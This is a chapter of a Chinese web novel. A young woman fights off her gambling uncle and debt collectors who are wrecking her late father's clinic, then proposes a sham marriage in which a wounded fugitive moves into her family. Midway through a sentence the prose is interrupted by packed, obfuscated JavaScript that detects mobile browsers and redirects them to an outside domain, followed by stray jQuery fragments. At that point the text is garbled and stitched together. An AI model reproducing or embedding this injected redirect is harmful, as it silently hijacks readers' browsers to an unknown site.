段缘浅听清话后瞬间清醒,急忙往怀仁堂赶去。刚冲到门口,就听见里面劈里啪啦的声响,几个壮汉随意翻找,他们嘴里骂骂咧咧的,仿佛这不是救命的医馆,只是堆不值钱的玩意。
此时虽是半夜,但看热闹的人不少,怀仁堂周围都是人。
段缘浅望着满地狼藉,心口像是被什么狠狠攥住了。药柜的抽屉被扯出来扔在地上,爹爹生前精心炮制的药材混着碎片散落在地上。
这可是爹爹一辈子的心血,她死死地盯着那几个砸东西的人,眼底的寒意几乎要凝成冰。
她紧握拳头,厉声喝道:“都给我住手。”
声音里裹着压抑不住的怒火,震得几个壮汉动作顿了顿。
可还没等他们反应,一旁的段就下已瞧见了她。像起之前被打的情景,他的脸涨成红色,嘴里大声骂道:“你还有脸回来。”撸起袖子就冲过来,扬手就想扇她耳光。
段缘浅侧身一躲,那带着风的巴掌擦着她脸颊落空。几乎是同一时间,她反手扬臂,清脆的“啪”一声响,结结实实甩在段就下的脸上。这一巴掌又快又很,打得他整个人都懵了。
“你打我,真是反了天了。”段就下满脸不可置信,眼神变得冰冷。
段缘浅没有搭理他,看向一旁的张掌柜,语气中满是嘲讽:“张掌柜也是镇上有头有脸的人物,刚刚才把我绑去分和赌场,如今又带着人来砸我爹留下的医馆--这等先绑架后抢产的行为,是不是太不像话了。”
张掌柜摆了摆手,不以为然地笑了笑:“段姑娘误会了,绑架这事是段就下提出来的。我本人也很无奈呀,赌坊都是按规矩办事的,段就下说这宅子是他的,赌坊只负责拿地契抵他的赌债,你们自家的私事,赌坊可管不着,我只是来找地契的。”
段缘浅尖刀一样的目光刺向段就下:“这宅子是你的?”
段缘浅依然理直气壮:“我欠了那么多钱,今日如果再不还钱,他们就要卸掉我的一只手。你们家如今已经没男人了,这房子就应该是我的。”
段缘浅冷笑道:“要拿房子抵赌债,你拿自家的宅子抵去,拿我家的医馆抵债,什么狗屁道理。”
段就下被骂了个没脸,指着段缘浅道:“你这般歹毒的心肠,你堂兄还要说亲,抵了宅子,你堂兄拿什么娶媳妇。你将来是要嫁人的,段额本就是捡来的,拿医馆做什么?本来就没有娘,如今爹和哥也死了,要我说就是你克死的。”
这句话彻底点燃了段缘浅,她娘在她很小的时候就去世了,她经常被同龄的孩子骂“有娘生没娘养。如今爹爹的死对她又是沉重的打击。
段缘浅抬眸,死死盯着段就下:“段就下,你再乱说话,信不信我现在就杀了你。这医馆是我爹一辈子的心血,想要这医馆门都没有。你今日最好是带着赌坊的人立马给我滚,否则赌坊只要你一只手,我剁了你全家再下去见我爹娘。”
“你这丫头”段就下打了个寒颤,他被段缘浅那个眼神看得心头发毛,没敢再与之对视,语气逐渐变小:“那咱们就上官府说理去,看官府是把这家产判给你还是判给我,你真以为你一个丫头能争过我。”
他又堆着笑对张掌柜道:“张爷,你看能不能再宽限我两日?”
张掌柜冷嗤一声:“分和赌坊收债可没有这样的先例,传出去怕是别人还以为咱们赌坊没人,收不上债呢。或者你想用你的手赌债。”
段就下冷汗瞬间就掉下来,连声道:“不想不想,可这丫头实在是太掘了。”
张掌柜纸冷笑一声:“确定是你的东西,带来的弟兄们就能直接找了。”
比起段就下的一只手,他更想要能换钱的医馆,张掌柜对着赌坊的一众打手说道;“愣着做什么,继续找啊。”
一众打手又开始翻箱倒柜砸东西。
段缘浅紧紧握住拳头,她虽然很气愤,但是面对几个五大三粗的男人,又无能为力,内心祈祷着段额赶紧带着官员来。
段就下嘴角勾起一抹带着算计的笑,他慢悠悠地转向医馆里那两个膀大腰圆的打手,声音不高却带着不容置疑的狠劲:“砸几副药材算什么能耐?要砸,就砸那块牌匾!”
话音刚落,其中一个打手反应极快,抄起脚边的粗木棍,闷不做声地就朝着堂中那块悬挂多年的牌匾冲去,木棍带着风声,显然是用了十足的力气。
段缘浅心头一紧,那牌匾是父亲在世时亲手题的,承载着医馆的根与魂,哪里容得半分损伤?
她几乎是凭着本能猛地向前一扑,整个人像离弦的箭般飞扑过去,在木棍即将碰到牌匾的瞬间,死死将那打手扑倒在地。
段大伯父脸上的笑容淡了些,只斜睨了一眼被扑倒的打手,随即抬下巴示意了另一个。
那打手立刻心领神会,几步上前,不顾段缘浅的挣扎,从背后伸出胳膊将她紧紧箍在怀里。段缘浅的胳膊被死死钳住,腿也被牢牢锁住。
“不——!”她眼睁睁看着刚才被扑倒的打手爬起来,抡起木棍对着那块黑底金字的牌匾狠狠砸下去。
“哐当——”第一声脆响,牌匾上的一角木框应声碎裂,金粉簌簌往下掉。
“哐!哐!”又是几下猛砸,厚实的木板被砸出一个个窟窿,父亲亲笔写的字被劈得裂开,墨迹混着木屑飞溅。“住手,不准砸。”
她看着牌匾一点点被砸得稀烂,心口像是被什么东西狠狠攥住,疼得她几乎无法呼吸,挣扎的力气渐渐消失,只剩下喉咙里压抑的呜咽,绝望像潮水般将她淹没——那不仅仅是一块木头,那是她和父亲守了一辈子的念想,是医馆的魂啊,就这么被砸成了一堆废料。
这时人群中传来骚动!“官差来了。”
“光天化日之下这么多人欺负一个弱女子,你们还要不要脸。”一道冷冽的声音传来。
官差带着段额踏入医馆,眼睛死死的盯着那几名打手:“如今胆子都这么肥的吗?”
张掌柜弓着腰,搓着手讨好道:“不是欺负,不是欺负,咱家只是来要债的,不过咱家的方式确实不妥。”说完看向段缘浅:“段姑娘,是咱家冒犯了姑娘,在这给姑娘赔礼道歉了。”
官差看向段就下,语气中满是嘲讽:“段就下,你说你有手有脚的,自己欠的钱自己还不好吗,抢侄女的,真是好大一张脸。”
段就下瞬间不敢吱声了。
官差又训斥了赌坊闹事的几人,并要求张掌柜赔偿段缘浅家中的损失。
赌场的人走后,看热闹的人逐渐散去。
段缘浅对着官差道:“谢谢王叔。”
官差道:“今日是他们不占理,我秉公执法也不算偏袒你。但如果段就下去县衙递了讨这医馆的状纸,你家这怀仁堂怕是就保不下来了。”
段缘浅也很清楚这件事,段就下之所以一直没去县衙递状纸,一则是打官司麻烦
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16301749|182780||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,二则是请壮师也得花不少钱。
如今他知道逼段缘浅没用后,为了拿房屋地契偿还他自个的赌债,保不准转头真告去县衙。
段缘浅脸上带着深深的疲惫:“能想的法子我都想了,也托人问过状师,都说我不能过户我爹的医馆。”
官差毕竟办案多年,见多识广,他沉思片刻后道:“入赘,赶紧招个上门女婿,这样一来,你爹也就算有了儿子,家产自是你的。”
段额呐呐道:“招婿可不是件容易事,我只听说过有钱人家的独生女招婿。姐姐如今不仅家境不好,名声也臭了。谁愿意来倒插门?”
毕竟世见男子都以入赘为耻,男子一旦入赘,就是连祖宗姓氏都放弃了,在哪里都抬不起头。
官差叹了口气说:“我这主意不好,成亲是一辈子的大事,也不能胡乱找个人就把堂拜了,不然将来苦的还是浅浅丫头自个。”
一直沉默的段缘浅这时发声了:“我认为这个主意不错,况且我有一个很好的人选。”
段额疑惑地问道:“谁啊,我怎么不知道你和那个郎君有交情。”
段缘浅目前不打算透露简教哲的身份,回道:“卖个关子,暂时不告诉你。”
段额有些担忧:“姐姐,你不会是被人骗了吧。”
段缘浅笑了笑:“没有啦,我这么大一个人了,谁能骗我。”
段缘浅转身对官差说:“今日麻烦王叔了,时候不早了,我送送您”
官差语气温和地说:“丫头,以后有事找我。”
段缘浅回了声好。
段缘浅从房内取了灯笼,和段额一起一路轻声说话,将人送到巷口。
回到医馆后,段缘浅让段额去睡觉。
天刚蒙蒙亮,段缘浅理了理衣服,打定主意要去找简教哲谈谈入赘的事情。
希望他能同意,如果被拒绝的话只能另想办法了。
来到那间屋子,她径直走向里屋,轻轻推开门时,正对上简教哲望过来的视线。
两人沉默了一会,段缘浅率先打破沉默:“你现在感觉好了吗?”
简教哲点了点头:“好多了。多谢姑娘。”他脸上泛起一丝不自然,迟疑着问:“我的伤和衣服是谁换的?”
“是我。”段缘浅回答得坦然。
简教哲抿了抿嘴没再言语,耳根却悄悄染上红晕。段缘浅看在眼里,轻声道:“我们学医的,本就不分男女,你别往心里去。”
简教哲听了忙摇摇头:“姑娘误会了,在下还要多谢姑娘的救命之恩。”
“怎么谢?”
“呃,姑娘想怎么谢?”
段缘浅说道:“我娘死的早,我爹又被人诬陷而死,我家现在只有我和一个捡来的弟弟。我大伯想独吞我家医馆,我想入赘一个男子守住我家医馆。所以你能不能看在我救你的面子上假装入赘,骗过我大伯。不过你放心,我不会一直缠着你。等过一年我把这个医馆稳定下来,我们就随便找个理由和离。”
说完话,段缘浅不由紧张起来,她内心很怕简教哲拒绝,除了他,他已经没有第二合适的人选了。
简教哲眉头紧皱,入赘对于任何一个男人来说都是耻辱。
转念想起身上的污名--叛国贼的罪名像条毒蛇,外头到处是搜捕他的人。留在这里至少能藏住踪迹,他以后再想办法与手下联系。
“好,我愿意。”